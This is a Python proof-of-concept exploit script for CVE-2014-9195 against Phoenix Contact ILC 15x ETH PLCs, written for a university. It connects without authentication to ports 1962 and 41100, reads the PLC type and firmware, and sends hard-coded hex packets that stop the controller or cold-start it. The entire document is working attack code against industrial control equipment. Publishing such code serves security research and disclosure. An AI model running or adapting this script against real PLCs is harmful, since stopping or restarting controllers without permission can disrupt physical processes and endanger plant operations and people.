#! /usr/bin/env python ''' # Exploit Title: Phoenix Contact ILC 150 ETH PLC Remote Control script # Date: 2015-05-19 # Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be # Vendor Homepage: https://www.phoenixcontact.com/online/portal/us?urile=pxc-oc-itemdetail:pid=2985330 # Version: ALL FW VERSIONS # Tested on: Python runs on Windows, Linux # CVE : CVE-2014-9195 Copyright 2015 Photubias(c) Written for Howest(c) University College This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name ControlPLC.py written by tijl[dot]deneut[at]howest[dot]be This POC will print out the current status of the PLC, continuously every 0.1 second, after 3 seconds it reverts (start becomes stop, stop becomes cold start), and stops after 5 seconds Works on ILC 15x ETH, partly on RFC 43x, partly on ILC 39x ''' import sys, socket, binascii, time, os, select, re IP='' infoport=1962 controlport=41100 ## Defining Functions First def send_and_recv(s,size,strdata): data = binascii.unhexlify(strdata) ## Convert to real HEX (\x00\x00 ...) s.send(data) ret = s.recv(4096) return ret def doAction(s,strdata): ret = send_and_recv(s,1000,strdata) # In official state these are send, they do not seem to be needed send_and_recv(s,1000,packet1) send_and_recv(s,1000,packet2) send_and_recv(s,1000,packet2) ret = send_and_recv(s,1000,'010002000000020003000100000000000840') send_and_recv(s,1000,packet2) return ret def initMonitor(s): send_and_recv(s,1000,'0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200') send_and_recv(s,1000,'0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500') send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500') send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200') send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500') send_and_recv(s,1000,'0100000000002500000000000000d9ff4164652e52656d6f74696e672e53657276696365732e49466f726365536572766963653200') send_and_recv(s,1000,'010000000000240000000000000000004164652e52656d6f74696e672e53657276696365732e49466f7263655365727669636500') send_and_recv(s,1000,'0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300') send_and_recv(s,1000,'010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200') send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200') send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500') send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653300') send_and_recv(s,1000,'010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500') send_and_recv(s,1000,'0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653200') send_and_recv(s,1000,'0100000000002900000000000000d5ff4164652e52656d6f74696e672e53657276696365732e49427265616b706f696e745365727669636500') send_and_recv(s,1000,'0100000000002800000000000000d6ff4164652e52656d6f74696e672e53657276696365732e4943616c6c737461636b5365727669636500') send_and_recv(s,1000,'010000000000250000000000000000004164652e52656d6f74696e672e53657276696365732e494465627567536572766963653200') send_and_recv(s,1000,'0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200') send_and_recv(s,1000,'0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500') send_and_recv(s,1000,'0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300') send_and_recv(s,1000,'010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200') send_and_recv(s,1000,'0100020000000e0003000300000000000500000012401340130011401200') return def is_ipv4(ip): match = re.match("^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$", ip) if not match: return False quad = [] for number in match.groups(): quad.append(int(number)) if quad[0] < 1: return False for number in quad: if number > 255 or number < 0: return False return True ##### The Actual Program if not len(sys.argv) == 2: IP = raw_input("Please enter the IPv4 address of the Phoenix PLC: ") else: IP = sys.argv[1] if not is_ipv4(IP): print "Please go read RFC 791 and then use a legitimate IPv4 address." sys.exit() ## - initialization, this will get the PLC type, Firmware version, build date & time s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((IP,infoport)) print 'Initializing PLC' print '----------------' code = send_and_recv(s,1000,'0101001a005e000000000003000c494245544830314e305f4d00').encode('hex')[34:36] send_and_recv(s,1000,'01050016005f000008ef00' + code + '00000022000402950000') ret = send_and_recv(s,1000,'0106000e00610000881100' + code + '0400') print 'PLC Type = ' + ret[30:50] print 'Firmware = ' + ret[66:70] print 'Build = ' + ret[79:100] send_and_recv(s,1000,'0105002e00630000000000' + code + '00000023001c02b0000c0000055b4433325d0b466c617368436865636b3101310000') send_and_recv(s,1000,'0106000e0065ffffff0f00' + code + '0400') send_and_recv(s,1000,'010500160067000008ef00' + code + '00000024000402950000') send_and_recv(s,1000,'0106000e0069ffffff0f00' + code + '0400') send_and_recv(s,1000,'0102000c006bffffff0f00' + code) s.shutdown(socket.SHUT_RDWR) s.close() print 'Initialization done' print '-------------------\r\n' print 'Will now print the PLC state and reverse it after 3 seconds' raw_input('Press [Enter] to continue') ########## CONTROL PHASE ####### Start monitoring with loop on port 41100 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((IP,controlport)) # First init phase (sending things like 'Ade.Remoting.Services.IProConOSControlService2' and 'Ade.Remoting.Services.ISimpleFileAccessService3', 21 packets) initMonitor(s) # Query packet packet1 = '010002000000080003000300000000000200000002400b40' # Keepalive packet packet2 = '0100020000001c0003000300000000000c00000007000500060008001000020011000e000f000d0016401600' ## The loop keepalive and query status loop (2 x keepalive, one time query): i = 0 state = 'On' running = 0 stopme = 0 startme = 0 while True: i += 1 time.sleep(0.1) ## Keep Alive send_and_recv(s,1000,packet2) send_and_recv(s,1000,packet2) ## Possible actions (like stop/start) should be sent now before the query state if (state == 'Running' and stopme): print 'Sending Stop' doAction(s,'01000200000000000100070000000000') startme = stopme = 0 elif (state == 'Stop' and startme): print 'Sending COLD Start' ## This is the COLD start: doAction(s,'010002000000020001000600000000000100') ## This is the WARM start: doAction(s,'010002000000020001000600000000000200') ## This is the HOT start: doAction(s,'010002000000020001000600000000000300') doAction(s,'010002000000020001000600000000000100') startme = stopme = 0 ## Query Status ret = send_and_recv(s,1000,packet1).encode('hex') if ret[48:50] == '03': state = 'Running' elif ret[48:50] == '07': state = 'Stop' elif ret[48:50] == '00': state = 'On' else: print 'State unknown, found code: '+ret.encode('hex')[48:50] print 'Current PLC state: '+state ## Maintaining the LOOP if i == 50: break # ''' if i == 30: if state == 'Running': stopme = 1 else: startme = 1 #''' raw_input('All done, press [Enter] to exit')